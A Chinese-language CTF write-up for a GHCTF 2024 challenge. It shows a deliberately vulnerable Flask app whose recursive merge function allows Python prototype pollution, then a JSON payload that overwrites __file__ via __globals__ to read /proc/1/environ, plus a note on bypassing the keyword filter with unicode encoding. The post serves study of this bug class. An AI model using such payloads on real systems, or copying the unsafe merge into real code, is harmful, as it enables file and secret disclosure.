[GHCTF 2024 新生赛]Po11uti0n~~~ python原型链污染

上来直接给了源码。

点击查看代码

import uuid
from flask import Flask, request, session
from secret import black_list
import json


'''
  @Author: hey
  @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
  * Th3_w0r1d_of_c0d3_1s_be@ut1ful_ but_y0u_c@n’t_c0mp1l3_love.
'''

app = Flask(__name__)
#随机生成key
app.secret_key = str(uuid.uuid4())

#定义了类似waf的函数
def cannot_be_bypassed(data):
    #循环black_list列表
    for i in black_list:
        #判断如果黑名单里值在用户提交的数据里就返回False
        if i in data:
            return False
    return True

#接收了两个参数,src和dst
def magicallllll(src, dst):
    #判断dst是否具有__getitem__属性,该属性用于实现对象的索引访问。当对象具有该属性时,可以通过访问列表的形式访问对象的属性
    if hasattr(dst, '__getitem__'):
        #循环src
        for key in src:
            #遍历src,如果src中的值是字典类型,则遍历src的键
            if isinstance(src[key], dict):
                #如果对应的数值依旧是字典类型,并且在dst中存在相同的键且对应的值也是字典类型,就递归调用magicallllll函数
                 if key in dst and isinstance(src[key], dict):
                    magicallllll(src[key], dst[key])
                 else:
                     #如果src里的值不是字典类型,就将src中的值对应赋值给dst中的对应键
                     dst[key] = src[key]
            else:
                #如果src里的值不是字典类型,就将src中的值对应赋值给dst中的对应键
                dst[key] = src[key]
    else:
        #如果dst不具有__getitem__属性,就会进入到这个里面
        #针对src生成键值对
        for key, value in src.items() :
            #如果dst存在相同键并且对应的值是字典类型,就递归调用magicallll函数
            if hasattr(dst,key) and isinstance(value, dict):
                magicallllll(value,getattr(dst, key))
            #否则将src的键值赋值给dst中的属性
            else:
                setattr(dst, key, value)

class user():
    #初始化username和password
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        #判断用户提交的username和password是否和类中存储的用户名和密码相同
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False
#定义一个空列表
Users = []

#用户的注册函数
@app.route('/user/register',methods=['POST'])
def register():
    #判断用户提交的数据是否为空
    if request.data:
        try:
            #检查请求的数据是否包含了恶意的数据
            if not cannot_be_bypassed(request.data):
                return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"
            #将请求的数据转换成了json格式
            data = json.loads(request.data)
            #判断username和password是否在转换后的json数据里
            if "username" not in data or "password" not in data:
                return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"

            User = user()
            #调用magicallll函数,将解析后键值对形式的数据data赋值到User对象中
            magicallllll(data, User)
            #然后将注册成功后的用户信息存储到Users列表中
            Users.append(User)
        except Exception:
            return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"
        return "Congratulations,The username and password is correct,Register Success!!!"
    else:
        return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"

@app.route('/user/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "The username or password is incorrect,Login Failed,Please log in again!!!"
            for user in Users:
                if user.cannot_be_bypassed(data):
                    session["username"] = data["username"]
                    return "Congratulations,The username and password is correct,Login Success!!!"
        except Exception:
            return "The username or password is incorrect,Login Failed,Please log in again!!!"
    return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)


wp说是原型链污染去看看相关文章补充知识。发现magicallllll特别像merge函数,就像是javascript中的merge。
点击查看代码
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

应该与这个相关,再看看另一个重点,register页面,Users.append(User)将注册成功后的用户信息存储到Users列表中,那就是说我们要是需要进行污染,拿到的类应该是user类,__class__属性是无法和__globals__属性连用,所以需要访问user类的函数来进行下一步操作。再来说说一些__class__.__globals__.xxx相关的东西。这里可以利用的就是变量__file__,这一点主要是看过CISCN2024的sanic,但是直接用可能会出错因为过不去waf,这里unicode编码进行绕过即可。主要思路就是污染__file__变量进行任意文件读取来达到我们的目的。所以最终payload:
点击查看代码

{"username":"abc","password":"123","__class__":{"check":{"__globals__":{"__file__":"/proc/1/environ"}}}}
注册成功重新访问主页面发现回显了环境变量拿到flag。
posted @ 2024-06-26 23:12  jockerliu  阅读(292)  评论(0编辑  收藏  举报